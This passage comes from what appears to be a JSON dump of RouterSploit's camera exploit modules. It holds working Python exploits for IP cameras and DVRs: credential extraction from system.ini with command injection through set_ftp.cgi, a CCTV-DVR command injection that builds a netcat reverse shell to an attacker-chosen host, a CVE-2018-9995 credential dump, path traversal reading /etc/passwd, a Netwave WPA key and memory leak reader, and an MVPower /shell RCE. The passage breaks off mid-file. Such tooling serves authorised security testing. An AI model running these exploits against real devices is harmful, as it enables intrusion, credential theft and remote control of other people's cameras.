SR-001',\n            'Sricctv SR-004',\n            'Star+Vedia 6836',\n            'Star+Vedia 7837-WIP',\n            'Star+Vedia C-7835WIP',\n            'Star+Vedia Other',\n            'Star+Vedia T-6836WTP',\n            'Star+Vedia T-7833WIP',\n            'Star+Vedia T-7837WIP',\n            'Star+Vedia T-7838WIP',\n            'StarCam C33-X4',\n            'StarCam EY4',\n            'StarCam F6836W',\n            'StarCam Other',\n            'StarCam c7837wip',\n            'Stipelectronics Other',\n            'Storage+Options HOMEGUARD',\n            'Storage+Options Other',\n            'Storage+Options SON-IPC1',\n            'Sumpple 610',\n            'Sumpple 610S',\n            'Sumpple 631',\n            'Sumpple 960P',\n            'Sumpple S601',\n            'Sumpple S610',\n            'Sumpple S631',\n            'Sumpple S651',\n            'Sumpple qd300',\n            'Sumpple s631',\n            'SunVision+US Other',\n            'Sunbio Other',\n            'Suneyes Other',\n            'Suneyes SP-T01EWP',\n            'Suneyes SP-T01WP',\n            'Suneyes SP-TM01EWP',\n            'Suneyes SP-TM01WP',\n            'Suneyes SP-tm05wp',\n            'Sunluxy H-264',\n            'Sunluxy HZCam',\n            'Sunluxy Other',\n            'Sunluxy PTZ',\n            'Sunluxy SL-701',\n            'Supra+Space IPC',\n            'Supra+Space IPC-1',\n            'Supra+Space IPC-100AC',\n            'Supra+Space IPC-10AC',\n            'Supra+Space Other11',\n            'Supra+Space ipc-20c',\n            'Sure-Eye Other',\n            'Surecom LN-400',\n            'Swann 005FTCD',\n            'Swann 440',\n            'Swann 440-IPC',\n            'Swann ADS-440',\n            'Swann ADS-440-PTZ',\n            'Swann ADS-CAMAX1',\n            'Swann Other',\n            'Swann SWADS-440-IPC',\n            'Swann SWADS-440IPC-AU',\n            'Sygonix 43176A',\n            'Sygonix 43558A',\n            'Szneo CAM0X',\n            'Szneo CoolCam',\n            'Szneo NIP',\n            'Szneo NIP-0',\n            'Szneo NIP-02',\n            'Szneo NIP-031',\n            'Szneo NIP-031H',\n            'Szneo NIP-06',\n            'Szneo NIP-12',\n            'Szneo NIP-2',\n            'Szneo NIP-20',\n            'Szneo NIP-210485-ABABC',\n            'Szneo NIP-26',\n            'Szneo NIP-X',\n            'Szneo NP-254095',\n            'Szneo Other',\n            'Szneo TFD',\n            'TAS-Tech Other',\n            'Technaxx tx-23',\n            'Techview GM8126',\n            'Techview QC-3638',\n            'Techview qc3839',\n            'Temvis Other',\n            'Tenda C50S',\n            'Tenda c30',\n            'Tenda c5+',\n            'Tenvis 0012',\n            'Tenvis 3815',\n            'Tenvis 3815-W',\n            'Tenvis 3815W',\n            'Tenvis 3815W.',\n            'Tenvis 3815W2013',\n            'Tenvis IP-319W',\n            'Tenvis IP-319w',\n            'Tenvis IP-391W',\n            'Tenvis IP-391WHD',\n            'Tenvis IP-602W',\n            'Tenvis IP602W',\n            'Tenvis IPROBOT',\n            'Tenvis JP-3815W',\n            'Tenvis JPT-3814WP2P',\n            'Tenvis JPT-3815',\n            'Tenvis JPT-3815-P2P',\n            'Tenvis JPT-3815W',\n            'Tenvis JPT-3815W+',\n            'Tenvis JPT-3815WP2P',\n            'Tenvis JPT-3815w',\n            'Tenvis JPT-3818',\n            'Tenvis MINI-319W',\n            'Tenvis Mini-319',\n            'Tenvis Other',\n            'Tenvis PT-7131W',\n            'Tenvis TH-661',\n            'Tenvis TR-3818',\n            'Tenvis TR-3828',\n            'Tenvis TR3815W',\n            'Tenvis TZ100',\n            'Tenvis TZ100/IPROBOT3',\n            'Tenvus JPG3815W',\n            'Threeboy IP-660',\n            'Topcam SL-30IPC01Z',\n            'Topcam SL-720IPC02Z',\n            'Topcam SL-910IW30',\n            'Topica+CCTV Other',\n            'Trivision NC-335PW-HD-10',\n            'Trust NW-7500',\n            'Turbo+X Endurance',\n            'Turbo+X IIPC-20',\n            'Uokoo 720P',\n            'VCatch Other',\n            'VCatch VC-MIC720HK',\n            'Valtronics IP',\n            'Valtronics Other',\n            'Vandesc IP900',\n            'Vantech Other',\n            'Vantech PTZ',\n            'Videosec+Security IPC-103',\n            'Videosec+Security IPP-105',\n            'Vimicro Other',\n            'Vitek+CCTV Other',\n            'Vstarcam 7823',\n            'Vstarcam C-7824WIP',\n            'Vstarcam C-7833WIP-X4',\n            'Vstarcam C-7833wip',\n            'Vstarcam C-7837WIP',\n            'Vstarcam C-7838WIP',\n            'Vstarcam C50S',\n            'Vstarcam C7816W',\n            'Vstarcam C7824WIP',\n            'Vstarcam C782WIP',\n            'Vstarcam C7842WIP',\n            'Vstarcam C93',\n            'Vstarcam C=7824WIP',\n            'Vstarcam Cam360',\n            'Vstarcam F-6836W',\n            'Vstarcam H-6837WI',\n            'Vstarcam H-6837WIP',\n            'Vstarcam H-6850',\n            'Vstarcam H-6850WIP',\n            'Vstarcam H-6850wip',\n            'Vstarcam ICAM-608',\n            'Vstarcam Other',\n            'Vstarcam T-6835WIP',\n            'Vstarcam T-6836WTP',\n            'Vstarcam T-6892wp',\n            'Vstarcam T-7815WIP',\n            'Vstarcam T-7833WIP',\n            'Vstarcam T-7833wip',\n            'Vstarcam T-7837WIP',\n            'Vstarcam T-7838WIP',\n            'Vstarcam T-7892WIP',\n            'Vstarcam T6836WTP',\n            'Vstarcam T7837WIP',\n            'Vstarcam c7815wip',\n            'Vstarcam c7833wip',\n            'Vstarcam c7850wip',\n            'Wanscam 00D6FB01980F',\n            'Wanscam 106B',\n            'Wanscam 118',\n            'Wanscam 541-W',\n            'Wanscam 543-W',\n            'Wanscam 790',\n            'Wanscam AJ-C0WA-198',\n            'Wanscam AJ-C0WA-B106',\n            'Wanscam AJ-C0WA-B116',\n            'Wanscam AJ-C0WA-B168',\n            'Wanscam AJ-C0WA-B1D8',\n            'Wanscam AJ-C0WA-C0D8',\n            'Wanscam AJ-C0WA-C116',\n            'Wanscam AJ-C0WA-C126',\n            'Wanscam AJ-C2WA-B118',\n            'Wanscam AJ-C2WA-C116',\n            'Wanscam AJ-C2WA-C118',\n            'Wanscam AJ-C2WA-C198',\n            'Wanscam AJ-COWA-B1D8',\n            'Wanscam AJ-COWA-C116',\n            'Wanscam AJ-COWA-C126',\n            'Wanscam AJ-COWA-C128',\n            'Wanscam AW00004J',\n            'Wanscam B1D8-1',\n            'Wanscam C-118',\n            'Wanscam C-126',\n            'Wanscam Colour',\n            'Wanscam FI-18904w',\n            'Wanscam FR-4020A2',\n            'Wanscam FR4020A2',\n            'Wanscam HD-100W',\n            'Wanscam HW-0021',\n            'Wanscam HW-0022',\n            'Wanscam HW-0022HD',\n            'Wanscam HW-0023',\n            'Wanscam HW-0024',\n            'Wanscam HW-0025',\n            'Wanscam HW-0026',\n            'Wanscam HW-0028',\n            'Wanscam HW-0033',\n            'Wanscam HW-0036',\n            'Wanscam HW-0038',\n            'Wanscam HW-0039',\n            'Wanscam HW-22',\n            'Wanscam HW0030',\n            'Wanscam IP',\n            'Wanscam JW-0001',\n            'Wanscam JW-0003',\n            'Wanscam JW-0004',\n            'Wanscam JW-0004m',\n            'Wanscam JW-0005',\n            'Wanscam JW-0006',\n            'Wanscam JW-0008',\n            'Wanscam JW-0009',\n            'Wanscam JW-0010',\n            'Wanscam JW-0011',\n            'Wanscam JW-0011l',\n            'Wanscam JW-0012',\n            'Wanscam JW-0018',\n            'Wanscam JW-004',\n            'Wanscam JW-009',\n            'Wanscam JW-CD',\n            'Wanscam JW000008',\n            'Wanscam JW0009',\n            'Wanscam JW001',\n            'Wanscam JW0012',\n            'Wanscam JW008',\n            'Wanscam JWEV',\n            'Wanscam JWEV-011777-NSRVV',\n            'Wanscam JWEV-011921-RXSXT',\n            'Wanscam JWEV-360171-BBEAC',\n            'Wanscam JWEV-380096-CECDB',\n            'Wanscam JWEV-PEPLOW',\n            'Wanscam NBC-543W',\n            'Wanscam NC-530',\n            'Wanscam NC-541',\n            'Wanscam NC-541/W',\n            'Wanscam NC-541W',\n            'Wanscam NC-541w',\n            'Wanscam NC-543W',\n            'Wanscam NCB-534W',\n            'Wanscam NCB-540W',\n            'Wanscam NCB-541W',\n            'Wanscam NCB-541WB',\n            'Wanscam NCB-543W',\n            'Wanscam NCBL-618W',\n            'Wanscam NCH-532MW',\n            'Wanscam NCL-610W',\n            'Wanscam NCL-612W',\n            'Wanscam NCL-616W',\n            'Wanscam NCL-S616W',\n            'Wanscam Other',\n            'Wanscam TG-002',\n            'Wanscam WJ-0004',\n            'Wanscam WX-617',\n            'Wanscam Works',\n            'Wanscam XHA-120903181',\n            'Wanscam XHA-4020a2',\n            'Wanscam __PTZ',\n            'Wanscam chiOthernese',\n            'Wanscam ip',\n            'Wanscam jw0005',\n            'Wanscam jw0010',\n            'Wansview 541',\n            'Wansview 625W',\n            'Wansview MCM-627',\n            'Wansview N540w',\n            'Wansview NCB-534W',\n            'Wansview NCB-541W',\n            'Wansview NCB-541w',\n            'Wansview NCB-543W',\n            'Wansview NCB541W',\n            'Wansview NCB545W',\n            'Wansview NCL-610W',\n            'Wansview NCL610D04',\n            'Wansview NCL614W',\n            'Wansview Other',\n            'Wansview dcs543w',\n            'Wansview nc543w',\n            'Wardmay+CCTV WDM-6702AL',\n            'Watch+bot+Camera resup',\n            'WebcamXP Other',\n            'WinBook Other',\n            'WinBook T-6835',\n            'WinBook T-6835WIP',\n            'WinBook T-7838',\n            'Winic NVT-530004',\n            'Wise+Group Other',\n            'X-Price Other',\n            'X10 39A',\n            'X10 AIRSIGHT',\n            'X10 AirSight',\n            'X10 Airsight',\n            'X10 Jake',\n            'X10 Other',\n            'X10 XC-38A',\n            'X10 XX-36A',\n            'X10 XX-39A',\n            'X10 XX-56A',\n            'X10 XX-59A',\n            'X10 XX-60',\n            'X10 XX-69A',\n            'X10 XX41Ahome',\n            'XVision Other',\n            'XXCamera 53100',\n            'XXCamera 5330-E',\n            'XXCamera Other',\n            'XXCamera XXC-000723-NJFJD',\n            'XXCamera XXC-092411-DCAFC',\n            'XXCamera XXC-50100-H',\n            'XXCamera XXC-50100-T',\n            'XXCamera XXC-5030-E',\n            'XXCamera XXC-53100-T',\n            'XXCamera XXC52130',\n            'Xin+Ling Other',\n            'Yawcam Other',\n            'Zilink Other',\n            'Zmodo CMI-11123BK',\n            'Zmodo IP-900',\n            'Zmodo Other',\n            'Zodiac+Security 909',\n            'Zodiac+Security Other',\n            'Zoneway NC638MW-P',\n            'ZyXEL Other',\n            'alexim Other',\n            'alexim cam22822',\n            'alias Other',\n            'all+in+one+ Other',\n            'all+in+one+ b1',\n            'all-in-one Other',\n            'allecto DVC-150IP',\n            'apc Other',\n            'asw-006 Other',\n            'boh l',\n            'bravo Other',\n            'bush+plus BU-300WF',\n            'ccam p2p',\n            'china 8904W',\n            'china HDIPCAM',\n            'china IPCAM',\n            'china Other',\n            'china PTZCAM',\n            'china np-02',\n            'ciana+exports antani',\n            'cina Other',\n            'coolead L',\n            'coolead L610WS',\n            'dax Other',\n            'denver IPC-320',\n            'denver IPO-320',\n            'e-landing 720p',\n            'eScam QF100',\n            'ebw Other',\n            'epexis PIPCAMHD82',\n            'epexis pipcam5',\n            'esecure nvp',\n            'geeya C602',\n            'geeya P2P',\n            'geeya c801',\n            'hdcam Other',\n            'homeguard 720P',\n            'homeguard Other',\n            'homeguard Wireless',\n            'homeguard wifi',\n            'iView ID002A',\n            'iView Other',\n            'insteon 75790',\n            'insteon 75790wh',\n            'insteon High',\n            'insteon Other',\n            'insteon Wireless',\n            'iuk 5A1',\n            'ivision hdwificam',\n            'iwitness bullet',\n            'jwt Other',\n            'jyacam JYA8010',\n            'kadymay KDM-6800',\n            'kadymay KDM6702',\n            'kadymay KMD-6800',\n            'kadymay Other',\n            'kang+xun xxc5030-t',\n            'kines Other',\n            'kiocong 1601',\n            'kiocong 1602',\n            'kiocong 1609',\n            'kiocong Other',\n            'kodak 201pl',\n            'koicong 1601',\n            'l+series CAM0758',\n            'l+series CAM0760',\n            'l+series Other',\n            'l+series V100',\n            'logan n8504hh',\n            'meyetech 095475-caeca',\n            'meyetech 188091-EFBAE',\n            'meyetech Other',\n            'meyetech WirelessCam',\n            'micasaverde VistaCamSD',\n            'pipcam HD17',\n            'pni 941w',\n            'pni IP451W',\n            'pni IP541W',\n            'pni IP941W',\n            'pni IP951W',\n            'pni Other',\n            'pnp IP',\n            'pnp Other',\n            'semac Other',\n            'skylink WC-300PS',\n            'storex D-10H',\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>\")\n            shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    def execute(self, cmd):\n        # Get credentials\n        print_status(\"Extracting credentials\")\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/system.ini?loginuse&loginpas\"\n        )\n\n        # Find the magic sequence \"0000 0a0a 0a0a 01\"\n        magic_sequence_location = response.content.find(b\"\\x00\\x00\\x0a\\x0a\\x0a\\x0a\\x01\")\n\n        # Skip ahead by 144 bytes to the beginning of username\n        username_location = magic_sequence_location + 144\n\n        # Read every byte in a loop until the first '\\x00'\n        # THIS WILL NOT WORK UNDER PYTHON 3 (bytearrays return ints in py3)!\n        username_bytes = bytearray()\n        next_username_byte = bytes()\n        index = username_location\n\n        while next_username_byte != b\"\\x00\":\n            username_bytes.append(response.content[index])\n            next_username_byte = response.content[index + 1]\n            index = index + 1\n        username = username_bytes.decode('utf-8')\n        print_info(\"Username: \" + username)\n        # Same for the password\n        # Get the password's location\n        # Everything between username and password is \\x00, so loop until that's no longer the case\n        current_byte_location = username_location + len(username_bytes)\n        null_byte = bytearray(b'\\x00')\n        current_byte = bytearray(b'\\x00')\n        while current_byte == null_byte:\n            current_byte[0] = response.content[current_byte_location].encode('utf-8')\n            current_byte_location = current_byte_location + 1\n        # I can't be bothered to debug anymore, let's just subtract 1\n        password_location = current_byte_location - 1\n        # Read every byte in a loop until the first '\\x00'\n        password_bytes = bytearray()\n        next_password_byte = bytes()\n        index = password_location\n        while next_password_byte != b'\\x00':\n            password_bytes.append(response.content[index])\n            next_password_byte = response.content[index + 1]\n            index = index + 1\n        password = password_bytes.decode('utf-8')\n        print_info(\"Password: \" + password)\n\n        # Send command\n        command_url = \"{}:{}/set_ftp.cgi?next_url=ftp.htm&loginuse={}&loginpas={}&svr=192.168.1.1&port=21&user=ftp&pwd=$({})&dir=/&mode=PORT&upload_interval=0\".format(self.target, self.port, username, password, cmd)\n        http_request(method=\"GET\", url=command_url)\n\n        # Run command\n        run_url = \"{}:{}/ftptest.cgi?next_url=test_ftp.htm&loginuse={}&loginpas={}\".format(self.target, self.port, username, password)\n        http_request(method=\"GET\", url=run_url)\n\n        time.sleep(2)\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/system.ini?loginuse&loginpas\"\n        )\n\n        if response is None:\n            return False\n\n        if response.status_code == 200 and b'\\x00\\x00\\x0a\\x0a\\x0a\\x0a\\x01' in response.content:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/cctv_dvr_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        'name': 'Multiple CCTV-DVR Vendors',\n        'authors': (\n            'k1p0d <nullfield@gmail.com>',  # original exploit author\n            'GH0st3rs',  # routersploit module\n        ),\n        'description': 'Remote Code Execution in CCTV-DVR affecting over 70 different vendors',\n        'references': (\n            'https://www.exploit-db.com/exploits/39596/',\n            'http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html',\n        ),\n        'devices': (\n            'Ademco',\n            'ATS Alarmes technolgy and ststems',\n            'Area1Protection',\n            'Avio',\n            'Black Hawk Security',\n            'Capture',\n            'China security systems',\n            'Cocktail Service',\n            'Cpsecured',\n            'CP PLUS',\n            \"Digital Eye'z no website\",\n            'Diote Service & Consulting',\n            'DVR Kapta',\n            'ELVOX ',\n            'ET Vision ',\n            'Extra Eye 4 U',\n            'eyemotion ',\n            'EDS ',\n            'Fujitron ',\n            'Full HD 1080p',\n            'Gazer ',\n            'Goldeye ',\n            'Goldmaster',\n            'Grizzly ',\n            'HD IViewer',\n            'Hi-View ',\n            'Ipcom',\n            'IPOX ',\n            'IR',\n            'ISC Illinois Security Cameras, Inc.',\n            'JFL Alarmes ',\n            'Lince ',\n            'LOT',\n            'Lux ',\n            'Lynx Security ',\n            'Magtec ',\n            'Meriva Security ',\n            'Multistar ',\n            'Navaio',\n            'NoVus ',\n            'Optivision ',\n            'PARA Vision',\n            'Provision-ISR ',\n            'Q-See ',\n            'Questek ',\n            'Retail Solution Inc',\n            'RIT Huston .com ',\n            'ROD Security cameras ',\n            'Satvision ',\n            'Sav Technology',\n            'Skilleye ',\n            'Smarteye ',\n            'Superior Electrial Systems',\n            'TechShell ',\n            'TechSon',\n            'Technomate ',\n            'TecVoz ',\n            'TeleEye ',\n            'Tomura',\n            'truVue',\n            'TVT ',\n            'Umbrella ',\n            'United Video Security System, Inc',\n            'Universal IT Solutions',\n            'US IT Express',\n            'U-Spy Store',\n            'Ventetian ',\n            'V-Gurad Security',\n            'Vid8 ',\n            'Vtek',\n            'Vision Line',\n            'Visar',\n            'Vodotech.com ',\n            'Vook ',\n            'Watchman ',\n            'Xrplus ',\n            'Yansi ',\n            'Zetec',\n            'ZoomX',\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n    connback = OptString(\"\", \"Local ip:port for reverse connect e.g. 192.168.1.100:55555\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            pattern = re.compile(r'(?P<host>[a-zA-Z0-9\\.\\-]+):(?P<port>[0-9]+)')\n            match = pattern.search(self.connback)\n            if not match:\n                print_error('given connect back \"{local}\" should be in the format for host:port'.format(local=self.connback))\n                return False\n            # Three ..\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a\" % (\n                    match.group(\"host\"),\n                    match.group(\"port\")\n                )\n            )\n            if response is None:\n                print_error(\"Exploit failed - unable to connect reason\")\n                return False\n            # Two ...\n            response = self.http_request(\n                method=\"GET\",\n                path='/language/Swedish${IFS}&&echo${IFS}\" - e${IFS}$SHELL${IFS}\">>e&&${IFS}/a'\n            )\n            if response is None:\n                print_error(\"Exploit failed - unable to connect reason\")\n                return False\n            # One. Left off!\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s\"\n            )\n            if response is None:\n                print_error(\"Exploit failed - unable to connect reason\")\n                return False\n\n            print_status(\"Exploit payload sent!\")\n            print_success(\"If nothing went wrong we should be getting a reversed remote shell at %s:%s\" % (\n                match.group(\"host\"),\n                match.group(\"port\")\n            ))\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        # Write file\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js\"\n        )\n\n        if response is None:\n            return False\n\n        # Lots of devices are redirecting. This triggers a false positive.\n        if response.status_code == 307:\n            return False\n\n        # Read the file.\n        response_read = self.http_request(\n            method=\"GET\",\n            path=\"/../../../../../../../mnt/mtd/test\"\n        )\n        if response_read is None:\n            return False\n        # remove it..\n        response = self.http_request(\n            method=\"GET\",\n            path=\"//language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js\"\n        )\n        if response is None:\n            return False\n        if response_read.text and response_read.text[0] != '1':\n            return False\n        return True\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/dvr_creds_disclosure.py",
    "content": "import json\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"DVR Creds Disclosure\",\n        \"description\": \"Module exploits authentication bypass vulnerability in multiple DVR devices allowing \"\n                       \"attacker to retrieve users credentials.\",\n        \"authors\": (\n            \"ezelf <ezelf86[at]protonmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995\",\n            \"https://github.com/ezelf/CVE-2018-9995_dvr_credentials\",\n        ),\n        \"devices\": (\n            \"TBK DVR4104\",\n            \"DVR4216\",\n            \"Novo\",\n            \"CeNova\",\n            \"QSee\",\n            \"Pulnix\",\n            \"XVR 5 in 1\",\n            \"Securus\",\n            \"Night OWL\",\n            \"DVR Login\",\n            \"HVR Login\",\n            \"MDVR Login\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.credentials = []\n\n    def run(self):\n        self.credentials = []\n\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_table((\"Username\", \"Password\", \"Role\"), *self.credentials)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        cookies = {\n            \"uid\": \"admin\",\n        }\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/device.rsp?opt=user&cmd=list\",\n            cookies=cookies,\n        )\n\n        if response:\n            try:\n                json_data = json.loads(response.text)\n                for data in json_data[\"list\"]:\n                    self.credentials.append((data[\"uid\"], data[\"pwd\"], data[\"role\"]))\n                return True  # target is vulnerable\n            except Exception:\n                pass\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/jvc_vanderbilt_honeywell_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"JVC & Vanderbilt & Honeywell IP-Camera Path Traversal\",\n        \"description\": \"Module exploits JVC IP-Camera VN-T216VPRU, Vanderbilt IP-Camera CCPW3025-IR / CVMW3025-IR and Honeywell \"\n                       \"IP-Camera HICC-1100PT Path Traversal vulnerability. If target is vulnerable it is possible to read file \"\n                       \"from the filesystem.\",\n        \"authors\": (\n            \"Yakir Wizman\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40281/\",\n        ),\n        \"devices\": (\n            \"JVC IP-Camera VN-T216VPRU\",\n            \"Vanderbilt IP-Camera CCPW3025-IR / CVMW3025-IR\",\n            \"Honeywell IP-Camera HICC-1100PT\"\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/passwd\", \"File to read from the filesystem\")\n\n    def __init__(self):\n        self.resources = (\n            \"/cgi-bin/check.cgi?file=../../..{}\",\n            \"/cgi-bin/chklogin.cgi?file=../../..{}\"\n        )\n\n        self.valid_resource = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable.\")\n\n            path = self.valid_resource.format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n\n            if response is None:\n                print_error(\"Error with reading response\")\n                return\n\n            if response.text:\n                print_status(\"Reading file: {}\".format(self.filename))\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed - empty response\")\n\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        filename = \"/etc/passwd\"\n        for resource in self.resources:\n            path = resource.format(filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n\n            if response and utils.detect_file_content(response.text, \"/etc/passwd\"):\n                self.valid_resource = resource\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/netwave_ip_camera_information_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netwave IP Camera Information Disclosure\",\n        \"description\": \"This exploit will try to retrieve WPA password and ddns host name, \"\n                       \"Also it would try to read memory leak in order to find username and password\",\n        \"authors\": (\n            \"spiritnull\",  # exploit-db.com exploit\n            \"renos stoikos <rstoikos[at]gmail.com>\",  # routesploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/41236/\",\n        ),\n        \"devices\": (\n            \"Netwave IP Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            response = self.http_request(\n                method=\"GET\",\n                path=\"//etc/RT2870STA.dat\",\n            )\n\n            if response is not None and \"WPAPSK\" in response.text:\n                print_success(\"WPA Password is in this text:\")\n                print_info(response.text)\n            else:\n                print_error(\"Could not find WPA password\")\n\n            print_info(\"Trying to gather more info\")\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/get_status.cgi\",\n            )\n            if response is not None and \"ddns_host\" in response.text:\n                print_success(\"ddns host name:\")\n                print_info(response.text)\n            else:\n                print_error(\"could not read ddns host name\")\n\n            print_status(\"Trying to find username and password from running memory leak\")\n            print_status(\"This could take some time\")\n            print_status(\"password is usually stuck next to 'admin' e.g admin123456\")\n            response = self.http_request(\n                method=\"GET\",\n                path=\"//proc/kcore\",\n                stream=True\n            )\n            try:\n                for chunk in response.iter_content(chunk_size=100):\n                    if \"admin\" in chunk:\n                        print_success(chunk)\n            except Exception:\n                print_error(\"Exploit failed - could not read /proc/kcore\")\n\n    @mute\n    def check(self):\n        check1 = self.http_request(\n            method=\"GET\",\n            path=\"//etc/RT2870STA.dat\",\n        )\n        if check1 is not None and check1.status_code == 200 and \"WPAPSK\" in check1.text:\n            return True\n\n        check2 = self.http_request(\n            method=\"GET\",\n            path=\"/get_status.cgi\",\n        )\n\n        if check2 is not None and check2.status_code == 200 and \"ddns\" in check2.text:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/mvpower/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/mvpower/dvr_jaws_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"MVPower DVR Jaws RCE\",\n        \"description\": \"Module exploits MVPower DVR Jaws RCE vulnerability through 'shell' resource.\"\n                       \"Successful exploitation allows remote unauthorized attacker to execute \"\n                       \"commands on operating system level. Vulnerablity was actively used by \"\n                       \"IoT Reaper botnet.\",\n        \"authors\": (\n            \"Paul Davies (UHF-Satcom)\",  # initial vulnerability discovery and PoC\n            \"Andrew Tierney (Pen Test Partners)\",  # independent vulnerability discovery and PoC\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/\",\n            \"https://www.pentestpartners.com/security-blog/pwning-cctv-cameras\",\n        ),\n        \"devices\": (\n            \"MVPower model TV-7104HE firmware version 1.8.4 115215B9\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            shell(self, architecture=\"armle\", method=\"echo\", location=\"/tmp\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        path = \"/shell?{}\".format(cmd)\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n        )\n\n        if response:\n            return response.text\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(16)\n        cmd = \"echo {}\".format(mark)\n\n        if mark in self.execute(cmd):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/siemens/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/siemens/cvms2025_credentials_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"SIEMENS IP-Camera CCMS2025 Password Disclosure\",\n        \"description\": \"Module exploits SIEMENS IP-Camera CCMS2025 Password Dislosure vulnerability. If target is vulnerable \"\n                       \"it is possible to read administrative credentials\",\n        \"authors\": (\n            \"Yakir Wizman\",  # vulnerability discovery\n            \"VegetableCat <yes-reply[at]linux.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40254/\",\n        ),\n        \"devices\": (\n            \"SIEMENS IP-Camera CVMS2025-IR\",\n            \"SIEMENS IP-Camera CCMS2025\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.content = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_info(self.content)\n            print_info(\"Please login at: {}\".format(self.get_target_url(path=\"/cgi-bin/chklogin.cgi\")))\n        else:\n            